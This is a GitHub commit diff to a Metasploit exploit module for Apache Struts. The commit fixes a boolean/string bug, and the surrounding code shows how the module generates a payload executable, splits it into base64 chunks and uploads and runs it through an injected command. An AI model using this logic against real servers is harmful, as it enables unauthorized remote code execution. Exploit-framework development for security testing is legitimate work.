Skip to content

Commit eb4162d

Browse files
committed
boolean issue fix
1 parent 5fa8ecd commit eb4162d

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/multi/http/struts_include_params.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,7 @@ def exploit
108108
#Set up generic values.
109109
@payload_exe = rand_text_alphanumeric(4+rand(4))
110110
pl_exe = generate_payload_exe
111-
append = 'false'
111+
append = false
112112
#Now arch specific...
113113
case target['Platform']
114114
when 'linux'
@@ -138,7 +138,8 @@ def exploit
138138
# Now with all the arch specific stuff set, perform the upload.
139139
# Need to calculate amount to allocate for non-dynamic parts of the URL.
140140
# Fixed strings are tokens used for substitutions.
141-
sub_from_chunk = append.length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
141+
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
142+
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
142143
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
143144
case datastore['HTTPMETHOD']
144145
when 'GET'
@@ -162,8 +163,9 @@ def exploit
162163
register_files_for_cleanup(@payload_exe)
163164
end
164165

165-
def java_upload_part(part, filename, append = 'false')
166+
def java_upload_part(part, filename, append = false)
166167
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
168+
append = append ? "true" : "false" # converted for the string replacement.
167169
cmd = cmd.gsub!(/APPEND/,append)
168170
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
169171
execute_command(cmd)

0 commit comments

Comments
 (0)